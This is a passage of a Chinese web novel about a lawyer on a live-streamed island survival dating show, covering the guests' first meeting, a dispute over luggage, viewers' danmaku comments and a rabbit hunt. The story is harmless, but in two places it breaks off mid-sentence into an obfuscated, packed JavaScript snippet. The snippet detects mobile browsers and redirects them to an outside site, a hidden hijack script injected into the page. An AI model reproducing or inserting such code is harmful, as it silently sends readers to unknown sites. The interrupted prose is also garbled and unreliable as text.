就是和南砚握手的时候,秦璟沅总觉得有股灼热的视线,在自己的手背上滑过。转过头,就见韩睿霖站在他的右侧,正一脸随意地和苏弘嘉打招呼。 应该是错觉。 在秦璟沅收回目光后,韩睿霖又情不自禁地转动眼珠,望向那边。他没别的意思,只是觉得那两个人握手的时间,是不是有点太久了? 在聊什么呢?笑那么开心。 事实上,秦璟沅早就松手了,只是一直被动地被握着。他礼貌地扬唇附和道: “是吗?我有点不记得了。” 就在刚才,南砚一看见秦璟沅,神色就有些讶然。他率先伸出手,语气含着激动: “先生,我们见过的。” 面对秦璟沅略显冷淡的回复,南砚并不气馁。记忆中的男人,就是这个性格。 “就是去年八月,京市的仁爱医院。我奶奶从病房里跑出来,在花园里迷路了,最后是您把她带回来的。” 提到这事,秦璟沅倒是印象深刻。 他那次下班顺路去医院,看望了受伤的向哲言。因为刚出狱罪犯的尾随报复,对方的小腹被捅了一刀,幸好没伤到内脏。 读书的时候,秦璟沅就曾经让向哲言跟着他去武馆练练,免得以后出社会保护不了自己。 做律师和检察官这一行的,必须随时警惕那些被自己送进牢里的人。可向哲言被自家老爸宠惯了,根本受不了一点儿苦,练了几天就嚷嚷着“好累好累”的。 当时,秦璟沅用手将汗湿的额发撩到脑后,面无表情地让他“起开”。可趴在他背上的向哲言,笑嘻嘻地拍拍他的肩膀,讨好地说: “这不是还有秦哥你来保护我嘛~” 可没有谁,是能被别人保护一辈子的。况且,他们俩各有各的工作要忙,不可能一直待在一起。这不,向哲言就被美美捅进医院了。 从病房出来后,秦璟沅去花园里透气,就碰见一个老人蹲在喷泉旁边。她用手指在水里不停地划着,嘴里在大声尖叫。 “找不到了,找不到了啊啊啊!” 看起来很奇怪,让人不敢靠近。 想到记忆中那张慈祥的脸,秦璟沅走到了老人身边,将手撑在大腿上,俯身轻问: “您在找什么,需要帮忙吗?” 听到他的话,老人慌张地扯住秦璟沅的手臂,掌心沾着的水打湿了他的西装,印出了一片深色。可他只是顺着她的力道侧过身,认真地注视着对方的眼睛。 老人苍老的眼睛里,全是泪花。 “帮帮我,我找不到儿子送给我的手链了。” “别着急,是什么样的手链?” “最漂亮的那个。” “知道了。” 挽起袖子,秦璟沅仔细地在喷泉池里翻找起来,终于在角落里找到了一条银链,正好卡在排水口边缘,再晚一些就要掉进去了。 这条手链看起来很陈旧,不是纯银的,外面的镀层都掉光了。灰扑扑,毫无光泽,一点儿也不漂亮。 可老人小心翼翼地捧着它,像是藏宝贝似的,揣进了口袋里。 “好孩子,奶奶请你吃糖,很好吃的。” 粗糙的掌心里,躺着枚皱巴巴的麦芽糖,只是用一张可食用的糯米纸包着,很简陋。 接过糖,秦璟沅勾起唇角,声音听起来很温柔,仿佛也染上了麦芽的香气: “谢谢奶奶,我会好好品尝的。” 日光下,男人身形修长,卓然而立。整洁的西装布料上,却布满了喷泉溅出的水渍,深浅不一,镜片外侧也滚动着细密的水珠。 可他似浑然未觉,眉眼微弯,仿若初融暖阳,泄出零星笑意,教人目光再难偏移。 花园的小径里,一人原本正焦急地在四处张望着。看见那一幕,他呆呆地停在原地。 阳光将一高一矮两道身影轻柔地裹着,男人微笑时,琥珀色的双眸里淌出的光泽,化作一条条金色的丝缎,将他的心密密地缠绕起来。 即使对方的模样看起来很狼狈,可南砚仍觉得自己的心跳倏然加快。二十多年来,他从未感受过这样的失控。 这种失控,让南砚意识到了自己的性取向。因为他发现对方被水打湿的小臂肌肉,看起来是那样性感。 他不忍心打破这一幕,默默地跟着男人走进医院,看着他送自己的奶奶回了病房。 在那人即将离开的时候,南砚终于鼓起勇气上前,说自己非常感谢他,想要请他吃饭。 被拒绝了。 那个阳光下的微笑,仿佛只是南砚的错觉。在他的面前,男人的表情看起来很冷淡,只是随意地摆摆手,表示不需要,并嘱咐他照顾好老人。 似乎是赶时间,对方很快就离开了。 好可惜,连名字都不知道呢。 当时的南砚,只是有些遗憾。 然而,现在他根本不知道该怎样形容自己的心情,光是喜悦这个词,太单薄了。 事实上,南砚更想将这一切写作两人的“缘分”。 而秦璟沅也再次回忆起了那时的情绪。在看到老人对手链的珍惜时,自己的心底大概是有些羡慕,以及一点点的失落吧。 因为除了院长,秦璟沅就没有再感受过年长者无微不至的关心和爱护。 虽然老板娘有在尝试着想要照顾自己,实际上,大部分时间还是秦璟沅在照顾她。 他已经习惯,反正也过了那个年龄,不再需要了。 “想起来了。那奶奶的身体还好么?” 听见秦璟沅对自家奶奶的称呼,南砚白皙的面颊,隐隐带上一丝红晕。他不好意思地用手掩唇咳嗽了声,回复道: “放心,很健康。还是记不得人,但饭吃的很多。” 两人这边随意地寒暄着。 另一边,韩睿霖和苏弘嘉之间已无话可说。他本身就不是什么很热络的性格,强行跟人打招呼,也只是想让自己找点事做,免得总忍不住关注那头。 虽然还是很分心就是了。 然而,苏弘嘉比他还要寡言,像块硬邦邦的石头,只会死板地回复韩睿霖抛出的一些尴尬问题,用力踢一脚才蹦出点儿声响的那种。 该死,他为什么要来受这种苦。 想起自家老头子的嘱咐,让他收收臭脾气,别动不动就骂人,韩睿霖咬牙忍耐着,高帮板鞋已经快陷进沙子里了。 就在他即将要忍不住的时候,岸边传来了轮船声,救他脱离了苦海。 是节目组。 他们的姗姗来迟,就是为了给几位嘉宾留出单独相处的时间。预料中,应该是韩睿霖与苏弘嘉的这种尬聊。没想到南砚与秦璟沅之间,竟然有过故事。 倒是可以成为话题点。 在选择嘉宾之前,节目组特意调查过这四个人的性格,听周围人说,都是不好相处的那种。 这就是他们想要的,能够增加节目的戏剧性。从一开始就团结友爱,互帮互助的和谐氛围,观众才不爱看。 等到工作人员都从船上下来,他们首先做的,就是拿走嘉宾身边的行李箱。 “你们干什么?这是我的东西。” 对此第一个表示不满的人,就是韩睿霖。他是嘉宾里行李带的最多的,作为男生,他居然带了整整两个32寸大行李箱的东西。 其中一个箱子里装的,都是韩睿霖本人最喜欢的那些衣服。按照不同的搭配,都用袋子包好了。 “韩先生,这是节目的固定流程啊。需要没收嘉宾的行李,请您配合。” 见韩睿霖抓着自己的箱子不放,他面前的工作人员苦恼地解释着。为什么这么倒霉,偏偏是他负责这个大少爷。 “哈,你们合同上根本没提这茬,节目组这是把我当猴儿耍呢?” 显得韩睿霖带这么多东西像脑壳有包,纯纯拿他当消遣,制造话题。他才不管要不要维持什么公众形象,不爽了就是要说。 “韩先生,韩先生,你注...” 工作人员本想提醒韩睿霖,节目采取的是全程直播的形式,他这样耍性子是会被观众骂的,却对上了导演的眼神。 他的意思是:闭嘴。 就在两人你来我往,僵持不下的时候,秦璟沅已经回过神来,将行李箱递到工作人员的手中,低声说了句:“有点重,辛苦。” 得到对方受宠若惊的点头回应。 随后,他上前两步,朝着导演询问: “请问我们的行李,什么时候可以拿回来?” 他不相信节目组的这个做法,是无缘无故的。他们绝对是有什么用意在里面,不然在直升机上就可以直接没收了。 在秦璟沅开口后,韩睿霖就松开了抓着行李箱拉杆的手,烦躁地挥了挥,让人快拿走,省得他反悔。 闻言,导演露出一个自得的笑,从旁边拿出一个扩声器,清了清嗓子: “想拿回行李,可以。只要你们舍得用积分换。” “这个积分怎么拿?” 依依不舍地与行李箱分别,南砚想到自己的那些宝贝,蹙着细长的眉毛,疑惑道。 “岛上被我们藏了很多面彩色的小旗,不同颜色代表不同的分值。积分越高的旗子,自然是越难拿到。 每天晚上,你们可以选择用积分来兑换自己的东西。” 说到这里,导演吩咐旁边的人拿出四个对讲机,分发给他们,同时解释用途: “将对应的旗子插到沙滩边,然后用这个联系我们,说出你要换的东西,很快就有人会送过来。 10积分一样物品。不过...” “不过什么?” 不知道为什么,导演突然看向了自己,秦璟沅便顺势接了话头,心头有些猜测。 “不过除了兑换你们的行李,这些积分也可以换成钱,一积分等于一万块。” 节目组背后的投资商是谁,是不是有点太大手笔了,给素人的片酬已经那么高,居然还有额外的。 这应该就是向恒口中的奖金了吧。 随意地扫了眼周围三人的表情,秦璟沅便知道合同上根本没写这个规则。那向恒是怎么知道这件事的,难道他认识导演不成? 千里之外的京市,向恒打了个喷嚏,揉揉鼻子。惨兮兮地继续自己的追逐大战,他泪流满面,跪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338962|167819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地求饶: “我的小祖宗,土豆大爷,求你别咬了。你爸现在忙着找对象呢,没空管你。哎哎哎——我的错我的错,你别生气,牙下留情,这画可花了我二十万啊!” 好嘞,被毛绒绒的狗尾巴扇了一脸。 不得不说,秦璟沅确实被小小拿捏了一下,感觉有些动力了。 “为期七天,最后一天会有额外的惊喜,这个暂时保密。不过,提醒一下,对讲机只能单方面联系节目组。” 意思是他们彼此之间,是无法通过对讲机联系的。 等到几人明白后,导演突然想起什么,一拍脑袋,补充了一句: “看在第一次见面的份上,我可以让你们选择带一样东西,就当是见面礼了。” 什么狗屁见面礼,这不是他们自个儿的东西吗? 心头暗骂,韩睿霖苦恼地想着自己箱子里的那堆东西,选择恐惧症瞬间发作。 在秦璟沅打算走向自己的行李箱时,他的手腕被人拉住了。转头就见南砚紧张抿唇,犹豫地建议着: “秦先生,我们要不要合作?我有带医药箱。” 因为个人的职业原因,南砚经常会受伤,所以这次也随身带上了。 轻挑眉梢,秦璟沅无可无不可地点点头。他无所谓和谁合作,有医用品确实比较方便。 然而,导演忍不住插了句嘴: “是一样东西,不是一箱东西。” 低头尴尬地望着自己的医药箱,南砚不知道该带什么,感觉每样东西都很有用。 “带酒精吧。” 抬了抬下巴,秦璟沅示意南砚带上那瓶酒精。在这种野外,纱布之类的东西基本都能找到替代品,可酒精不行。 暂时也只能考虑外伤了。 “好。” 南砚笑着应声,像是朵盛开的栀子花,落在韩睿霖眼里,莫名觉得很烦躁。明明他一直以来,都很喜欢长得好看的人。 更别提南砚面容白皙清透,眉眼澄澈,五官偏秀丽,胜在笑起来很率真。 可韩睿霖就是觉得碍眼,他从来不是愿意忍耐的主。大步走到两人旁边,他先拍掉了南砚仍攥着秦璟沅腕部的手,语气嘲讽: “有些人,还没开始呢,就已经在找大腿抱了。根本没自知之明,就仗着人家好,不会拒绝呗。” 韩睿霖的力气很大,直接把南砚的手背拍红了一片。他有些生气地反驳: “你在说什么?别瞧不起人。” 四个人里,南砚的身形确实是最瘦削的,但只是相比较而言,他也是有180的好吧! “嘁,我只是说有些人,你怎么就自己代入啦,这样看,还是有点自知之明的嘛。” “你!” 在韩睿霖单方面嘴炮压制南砚的时候,秦璟沅已经自顾自打开行李箱,翻找起必备品了。可惜,最有用的东西没带。 余光瞥到那个从始至终,都一言不发的高大男人,恰好也蹲在他旁边,打开了行李箱。 那抹反射的光,令秦璟沅眼神闪了闪,他突然出声: “可以带上。” 似乎是没意料到,有人会突然和自己说话,苏弘嘉惊讶地转过头。对上那双琥珀色的凤眼,他看见男人扶了扶眼镜,补充了三个字: “很有用。” 声音温和。 不过,这只是秦璟沅个人的建议,他也不会强迫别人接受。几秒钟没等到苏弘嘉的回复,他便不再关注。 半晌,空气中传来低沉的一声“嗯”,轻极了,秦璟沅没有听见,很快就消散在海浪声中。 犹豫片刻,秦璟沅拿了一罐糖。是最普通的那种彩色的玻璃水果糖,也是他小时候吃到的第一种糖。 工作疲惫的时候,秦璟沅就会吃一颗。这个习惯一直被向哲言诟病,说他又喝茶又吃糖,好矛盾,都不知道是健康,还是不健康了。 他只是想吃而已。 正好可以用来补充能量。 站起身时,秦璟沅看见苏弘嘉手里握着把军用匕首,正是自己建议的那把。对方沉默地盯着他,像是在期待着什么。 他便随意地问道:“苏先生是从过军么?” “嗯,去年刚退伍。” “挺好。” 也不知道夸的是哪方面。 在秦璟沅转身看向另外两人时,苏弘嘉指尖不住地摩挲着刀柄,可想到脸颊上的伤痕,眼神有些失落。 此时的南砚已经涨红了脸,根本无法抵挡韩睿霖的那张毒嘴,自己从头到脚都被贬低得一无是处。 他到底哪里惹到这个大少爷了? 见秦璟沅看向这边,南砚连忙求助: “秦先生,我绝对不会拖你的后腿的,让我和你一起吧,好不...” 与此同时,韩睿霖佯装不在意地抓着自己的后脖颈,打断南砚的话: “我在国外有过很多的露营经验。” 他莫名其妙地丢下这句,就目光灼灼地盯着秦璟沅的脸,言外之意是:选他选他选他! 对此,秦璟沅有点疑惑,他又不是贝爷,一个个做什么非要和自己一起。 “一起吧,积分各凭本事。” 在他看来,这样的求生综艺,说到底还是团队合作类,关系不需要分太清。当然,最后的钱(积分)还是要算清楚的。 导演:到底有没有人记得,这是恋综,不是积分争霸赛啊!! 不过秦律师还真是厉害,这就有小修罗场了,才刚见面诶。老向说的倒没错,有他在,收视率不愁啊。 然而,向恒正趴在地上,悲伤地抱着自己已成碎片的名家水墨图,衣服上布满了狗爪的梅花印。 他后悔了,秦律师,你快回来吧! 可韩睿霖似乎对秦璟沅的回答很不满意,恶狠狠地瞪了眼南砚,声音听起来像是蒙了块布: “算了,我自己一个人。” 说完,韩睿霖拿着自己的赛车手套,就独自进了树林,银发看起来都没那么亮了。 不知道这小子在闹什么别扭。 秦璟沅对此很无所谓,反正两人还不熟,他也没义务为别人的情绪买单。况且,他一般面对这种小孩脾气,采取的措施就是: 让对方搁一边儿凉快去。 只是之前被秦璟沅这样处理的,都是土豆。嗯,雪橇犬过几天就会“嗷呜嗷呜”,屁颠颠地回来了。 闷头走了好长一段路,韩睿霖转头看了眼。除了树,只有树。 没有那个人。 他气急败坏地抬腿踹了一脚树干,结果踢到的恰好是一棵椰子树。一枚硕大的椰子掉下来,砸到了韩睿霖的脚,疼得他单腿跳着,“嗷嗷”叫。 该死啊啊,他怎么这么倒霉! 自己只是想被那个人选择啊。 不对,韩睿霖突然反应过来,他为什么非要被秦璟沅选啊?嘁,只是个长得有点好看的男人罢了,没什么大不了的。 他来这个节目,就是来玩的。 椰子被韩睿霖一脚踢飞,又撞到石头反弹了回来,砸到了他的另一只脚。 “嘶——我靠,破椰子,我现在就喝了你!” 结果半天,韩睿霖还是抱着那枚椰子,坐在树下默默地想: 自己现在有了饮料,总该选他了吧。 4. CP粉or唯粉 华灯初上,苏映薇推开律所的玻璃门,城市的喧嚣如潮水般漫卷而来,混合着身上的疲惫,令她的步伐略显沉重。 “苏律师,这么早就下班了?”一个年轻的男声吸引了苏映薇的注意,是和自己同期进律所的小李。 他的手里正提着两杯咖啡,一看就是打算通宵加班。虽然秦律师休假了,嘉信律所的员工们却还是习惯性地内卷着,可见其影响力之强。 而苏映薇根本没力气再加班。今天没有看见秦律师的脸,连工作都没什么劲儿了。当初,她其实是被其他人威胁着签下联名书的。 “是啊,我先走了。” 她只想快点回家洗澡,上床睡觉。 路过夜市的烧烤摊,烤串的香气扑鼻而来,苏映薇想起家里的某人,便买了二十几串打包。 打开公寓的门,暖黄色的灯光倾泻而出。苏映薇换上拖鞋后,在客厅里环视了一圈,空无一人,有些奇怪地蹙起眉。 往常不需要自己喊,小琦就会从房间里冲出来迎接她,手中的食物。 就在这时,苏映薇隐约听见房间里传来女生的尖叫声。她慌张地将烧烤丢到茶几上,就跑了过去。 “小琦,发生什么事了?” “啊啊啊——抱到啦!” 书桌前,穿着毛绒睡衣的女生尖叫完,就将手中的红糖奶茶放到旁边,开始激动地在键盘上敲来敲去。 笔记本屏幕的上端,飞速流动着五颜六色的弹幕。 “你在看什么呢?这么激动。” 凑到笔记本前面,苏映薇好奇地俯下身。下一秒,她的瞳孔肉眼可见地震动起来。 她是不是累得出现幻觉了?居然在屏幕里看见了自己朝思暮想的那张脸!! 秦律师怎么上电视了? 在小琦一番“激情四射”的安利下,苏映薇像是丢了魂的木偶,机械地回到了自己的房间。 有什么是比仰慕已久的男神参加了恋综,还疑似同/性/恋更打击人的呢? 啊啊啊不行!没有人配得上秦律师! 本来打算洗澡睡觉的苏映薇,突然像是被什么点燃了,动作迅速地掏出笔记本电脑,就打开了那档《爱在荒野》。 刚才小琦告诉她,每个用户可以选择一个官方头像。苏映薇移动鼠标,点开头像栏,发现里面有10种头像选择。 它将观众分为了两类,即cp粉和唯党。平台很心机地将粉圈的规则搬了过来,可以说是掌握了流量密码。 咬牙切齿地看着上面那些五花八门的cp名,苏映薇毫不犹豫地选择了秦璟沅的单人头像。 照片中,男人俊美的侧脸,线条流畅,在阳光下泛着莹莹的光晕。直挺鼻梁上的银色细边镜框,则为他添上了几分斯文的儒雅。 那枚黑色的泪痣,在睫羽的阴影下,清晰又迷人。 看背景应该是在直升机上抓拍的。 苏映薇认为对秦璟沅颜值的痴迷,只有无数次。她宣布从现在起,自己就是秦律师的头号毒唯了! 可惜时间太晚,第一期节目已经临近尾声。苏映薇退出直播平台,在微博上找到了博主的录屏。 她打算从头开始看。 第一幕,就是沙滩上嘉宾的初遇。 【好期待好期待,我还没看过这种类型的恋综呢!】 【第一次可以光明正大地磕男男cp,还不会被骂腐姐ky,泪目。】 【爱野节目组好大手笔,居然用了直升机。】 【好漂亮的海,这是在哪里啊?】 屏幕中,阳光洒在海面上,像是无数细碎的钻石。随着浪涛的涌动,海水的颜色也在不断地交融,渐变。 不过,观众很快就没心思欣赏风景了。因为有一架直升机,率先降落在了沙滩上。 一个男人带着行李箱跨了下来。 有一瞬间,苏映薇觉得屏幕好像卡了一下。很快,大片的白色弹幕从她的眼前划过。 【救命——我好像被阳光闪到了眼睛,眼泪怎么从嘴角流了出来。】 【不是,谁能告诉我,壁画怎么会动啊?】 【这才是我们大女人该看的啊!禁欲系精英熟男,我好爱~】 【真该让那群喷子看看,谁说素人不如明星啊,这素人可太香了!】 【嘶哈,这西裤好听话,这曲线,这长腿...】 看着屏幕上清一色夸奖秦璟沅的弹幕,苏映薇与有荣焉,忍不住也想跟着吹彩虹屁,却遗憾发现这是录屏。 偶尔有几句不和谐的: 【求生综艺还穿西裤和皮鞋,是不是有点装过头了啊?】 【对啊,后面指不定多狼狈呢。】 不过,很快就被人冲了。 【帅就完了,前面的屁话那么多。】 【呵呵,白给你看帅哥还不知足,不喜欢的请右上点叉。】 苏映薇再次遗憾,自己无法亲自上阵怼人。 第二架直升机,几乎是前后脚落地了。首先出现在观众眼前的,是两个巨大的银色行李箱,随后就是那头耀眼的银发。 【我靠,好酷一哥们!】 【眉钉、耳钉、耳骨环,银发纹身破洞裤,这兄弟要素过多啊。】 【白发黑皮我xp谢谢。】 【哈哈哈,你们有没有发现,眼镜帅哥看见他的时候,眉毛好像抽搐了一下。】 【笑死,我觉得他俩绝对有代沟!】 两人自我介绍的时候,观众的目光也不约而同地落到了他们交握的手上。 【嘶,我有一个不成熟的想法...】 【姐妹,我猜你想说的是牛奶巧克力O v O】 【黑裹白仙品啊!】 【哈哈哈好一个你也是,白毛哥也太不会聊天了,话题终结者吧?】 然而,苏映薇一张俏脸都皱成了苦瓜。这个男人太非主流了,不适合秦律师。作为秦璟沅的毒唯,她要用最严苛的目光,评估其他所有人。 【这哥们怎么老盯着自己的手看?】 【嘻嘻,搁这回味呢。】 在剩余两个嘉宾出现后,弹幕就变得有些五花八门的。 【这节目太会选嘉宾了吧,帅的都好不一样。】 【哭了,帅哥这么多,为什么我身边一个都没有?】 【男男如果不是帅哥,我就要养胃了...】 【长发哥看起来好像认识眼镜哥。】 【不是好像,是真的认识!不过秦哥看起来不记得诶。】 听到两人的相遇经过,弹幕瞬间激动起来: 【我去,这不就是缘分嘛!】 【盲猜南砚当时就一见钟情了。】 【好温柔啊秦哥,还很关心奶奶呢。】 见此,苏映薇赞同地点点头。秦律师确实很温柔,之前还特意发了《人格心理学》的电子书给她,生怕她舍不得买。 然而显微镜女孩们,再次发现了关键之处。 【白毛哥要气死了吧哈哈哈!】 【是啊他俩还挺聊得来的,南砚好会找话题。】 【服了,求你们不会聊别硬聊,我替人尴尬的毛病又犯了...】 【我宣布,石头哥才是最不会聊天的。】 【我感觉小韩恨不得立刻插到那两个人中间去。】 随着轮船声的出现,镜头移向了海面。节目组终于来了,观众的脚趾也都累了。 如导演所预料的那样,韩睿霖的态度很快引起了一些弹幕的不满。 【啧,白毛哥原来是这个性格吗?】 【之前和秦哥握手的时候,我还以为是比较羞涩的那款呢,看错了。】 【好凶,不喜欢。】 【说了是求生,还带那么多东西,就他是大少爷呗!】 【可我觉得挺正常,节目组又没提前说,谁都会生气吧?】 【我觉得是节目组故意的。】 这条弹幕的下一秒,秦璟沅刚好向导演提出了他们的行李问题。 听到节目的形式,观众热情高涨: 【好耶,这可比在房子里尴尬的互动自然多了。】 【在合作中滋生队友情,然后美美变质~】 【嘶,一积分一万块,我也好想去。】 【前面的,这钱只能帅哥赚,我下辈子也要当帅哥!】 见南砚主动找秦璟沅合作,大部分观众又开始关注韩睿霖的表情。果然,很难看。 【可怜的白毛,永远在生气气。】 【南砚对秦哥笑这么好看,你可太爱了,别人要气死咯~】 很快,韩睿霖忍无可忍,把南砚的手拍开了。 【靠北,哥们你真冲过去了啊,好样的!】 【打起来打起来:)】 【好毒的一张嘴,南砚脸都白了。】 【哈哈哈细狗,小韩你怎么就这样把真相说出来啦?】 【我要笑疯了,秦哥和石头哥搭上话了。】 【没想到如此一张神脸,也无法撬开石头更多的嘴。】 【此乃顽石啊。】 看见那把匕首,观众的话风一下子转弯了: 【军用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338963|167819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 匕首,石头哥原来是兵哥哥啊。】 【哇,秦哥快和他组队!】 【对了,官博说嘉宾都是不同领域的精英,那其他人是啥职业啊?】 他们突然开始猜测起另外三人的职业。 【我先来,眼镜哥绝对是霸道总裁,请狠狠爱我!】 【总裁+1】 【不是总裁,也是总监之类的吧,反正肯定是坐办公室的。】 【这身材,能是办公室坐出来的?我觉得是模特!】 【秦哥的脸完美符合智性恋啊,我觉得应该是技术含量很高的那种。】 知道答案的苏映薇,乐呵呵地看着弹幕对秦璟沅的猜测,有种莫名的成就感。她觉得秦律师比向恒看起来更像老板,他的气质根本不像一个打工人。 【南砚的穿搭感觉很艺术生诶。】 【他还带了医药箱,说不定是画素描的。】 【长发,美人,画家,好典的受。】 【只有我猜不出白毛的职业吗?感觉就是个纨绔大少。】 【这么潮,玩儿乐队的吧。】 【哼哼,他绝对是赛车手,别忘了他的纹身。】 【Valkyrie,女武神。诶,这不是阿斯顿马丁吗?】 【我早就想骂了,什么纨绔大少?韩哥在我们赛车圈很牛的好吧!】 【年仅22岁的F1世界三连冠。】 【再厉害又怎样?还不是脾气糟糕。】 这个时候,节目刚好播到韩睿霖丢下那句话,一个人进了树林。 屏幕突然分成了两半,一半仍是沙滩上的三个人,另一半则跟着他进去了。 【这种人只会破坏团队和谐。】 【戾气别那么重,我觉得小韩只是伤心秦哥没选他吧?】 【瞧这十步一回头的,别看了,你秦哥没来。】 将韩睿霖踢椰子树,反被椰子二次砸脚的画面收入眼底,弹幕突然诡异地沉默了一瞬。 然后,满屏都是“哈哈哈哈哈”。 【傻得我都有点怜爱了。】 【不忍心骂他了,只是一个渴望被秦哥看到的小可怜。】 【这才刚见面吧,怎么就这么戏剧,真不是剧本吗?】 【秦璟沅,你这个罪恶的男人,哈哈哈。】 【恋爱使人智商下降(bushi)】 【抱着椰子坐在树下,好像等待主人的流浪狗。】 收回视线,秦璟沅看了眼三人身后,发现节目组不知何时,已经默默消失了。另外两个人都安静地盯着他,隐隐有种以秦璟沅为首的架势。 索性,他早就习惯控制局势。秦璟沅观察了下远处的天空,淡淡出声: “晚上会下暴雨,需要尽快找地方落脚。” 听见秦璟沅的话,南砚指了指头顶的太阳,神色有些疑惑: “秦哥,现在可是大晴天诶,怎么会下暴雨啊?” 刚才韩睿霖离开的时候,南砚就自来熟地把对秦璟沅的称呼从“秦先生”变成了“秦哥”。 秦璟沅自然意识到了,但他不怎么在乎称谓。尤其是之前的委托人,经常会刻意换个称呼,企图拉近他们的距离。 不过,人与人之间的亲疏远近,可不是光靠一个称呼,就能决定的。 对于南砚的问题,秦璟沅不想解释。既然一开始就打算靠他做决定,就不要质疑,浪费时间。没有多说,他扭头就朝树林走去。 看着男人的背影,南砚的脸色有些发白,尴尬得不知如何是好。他只是想多和秦璟沅说话而已。 另一边,沉默许久的苏弘嘉突然开口:“积雨云。” 他知道秦璟沅的意思,也明白对方不愿过多解释的原因。 阳光虽盛,但远处天空堆积起的云层,顶部呈砧状,云体垂直且庞大,是积雨云的标志,很大可能会带来暴雨。 在这种情况下,他们必须先找到一个能避雨的地方。 面对苏弘嘉善意的解释,南砚点了点头,表示自己知道后,就顺着秦璟沅离开的方向走去。 从始至终,都没有看向苏弘嘉的脸。 他自嘲地扯了扯唇,将刀鞘塞到裤腰带后方,就大步跟上。 此时,本打算走回沙滩的韩睿霖,已经彻底迷路了。进来的时候,他心里憋闷,就没有下意识做标记。 看着周围一模一样的椰子树,他果断放弃找出路,决定先去找水源。 空中的无人机里,记录下了此时的画面。韩睿霖行走的路线,与秦璟沅三人所去的方向,刚好呈“Y”型。 5. 寻找物资与避雨 踏入树林后,秦璟沅观察着周围的树种,发现全部都是秋茄树。这种树正好长在海滩旁边的潮间带,树枝的质地相对疏松,很适合点燃。 他一言不发地俯下身,开始寻找地上掉落的干树枝。看见秦璟沅的动作,南砚和苏弘嘉也很快明白过来,跟着收集起枝叶,用作晚上的生火。 趁树枝被暴雨打湿前。 “诶,这个就是旗子吧!” 灌木丛旁边的南砚,从里面掏出了一面白色的小旗子,上面标了数字“1”,意味着这是最简单的颜色。 “秦哥,你头顶还有面黄色的。” 节目组临走前,人性化地给他们每个人留下了一个黑色挎包。因为韩睿霖提前离开,他的那只也挂在秦璟沅的身上。 敞开挎包的拉链,他将手里的树枝枯叶塞进去。活动了一下身体,秦璟沅微微屈膝,双腿猛地发力。长臂一伸,便精准地够到了头顶垂下的一根藤蔓。 掌心突然传来细密的疼,这藤上有小刺。如果秦璟沅强行将它扯下来,免不了会流血。 这种还未安妥的情况下,受伤会很麻烦。 因此,秦璟沅没有扭头,伸出了空着的左手,想要说些什么。可他开口之前,就接到了一把匕首。 苏弘嘉和他之间竟出奇得默契。 割断那根藤蔓后,秦璟沅将上面绑着的那面黄色的2分旗子取下来。顺手就将藤上的小刺,用匕首削干净了。 他扯了扯,发现藤蔓的韧性很不错,可以当绳子用。 “你们去找些食物,我来准备钻木的工具。” 秋茄树的木材属于硬木,只适合做钻板。为了提高钻木取火的成功率,钻杆需要用软木,还得找一些易燃的引火物。 “秦哥,让我去找吧,我对木材很熟悉。” 说话的是南砚。他在看见苏弘嘉和秦璟沅两人之间的默契后,就一直想要发挥出自己的价值,不想当韩睿霖口中拖后腿的那个。 见秦璟沅一时没说话,南砚慌张地补充道:“我是做雕刻的,所以需要了解不同木材的硬度。而且到时候,钻板也可以让我来刻。” 对上那双因为急切而瞪大的杏眼,秦璟沅点了点头,表示了许可。 “之后在这里集合。” 将黄色的旗子插进脚下的土里,秦璟沅示意分头行动来提高效率后,就一个人朝着左边走去。 突然,他停住脚步。耳边枝叶摩擦的“唰唰”声,却没有停止。 有东西在附近,而且听这动静间隔时间,应该是小型的动物在移动。 看来今晚有肉了。 他尽量放轻脚步,慢悠悠地用目光搜寻着。果然,草丛里有只褐色皮毛的野兔,正在低头专注地啃食着新鲜的草叶。 拿出包里的那根藤蔓,秦璟沅混着树枝做了个简易的套索工具。安静地绕到野兔的后方,他找准时机,迅速地抛出了手中的套索。 然而那兔子似乎察觉到了什么异动,恰好向右边跳了几步,落空了。 微微下蹲,秦璟沅用灌木丛遮掩着自己的身形。野兔警惕地左右摆动脑袋,发现没有危险,像是舍不得那丛难得的嫩草,又返了回去。 毕竟现在这个季节,大部分草都开始有了干枯之势。 是只挑食的兔子呢,坏习惯可不能要,会丢命的。 在失手的瞬间,秦璟沅就迅速收回了套索,又继续耐心地等待着。 直到发现野兔有离开的念头,在它跃起的刹那,秦璟沅抓住机会用力一甩,恰好套住了兔子肥硕的后腿。 褐色野兔拼命挣扎,发出了尖锐叫声。最后那声音,渐渐消失在空气中。秦璟沅收回匕首,随手甩掉刀槽中的血,抓住兔子的后脖颈提了起来。 刚才削完藤蔓上的刺,秦璟沅就忘记把匕首还给苏弘嘉了。不过,对方居然也一直没有提。这种情况下,自己唯一的东西借给别人用,怎么会忘记要呢? 看来,不仅仅是话少,这家伙连要回自己的东西都不敢。 掐着野兔的脖子,秦璟沅等到血全部放干后,便拍掉西裤表面沾到的草屑。除了衬衫皱了些,他的身上看起来依旧整洁干净。 事实上,这还是秦璟沅第一次抓兔,之前有的都是理论知识。多亏了老板娘雇佣自己,不然十几岁的他,可能就要提早实践捕猎了。 在这之后,秦璟沅又找到了一棵柑橘树。他怀疑节目组是特意挑选了这个海岛,上面的植被格外丰富。 是求生初期的简易难度吗? (导演:拜托,我这是个恋综啊!) 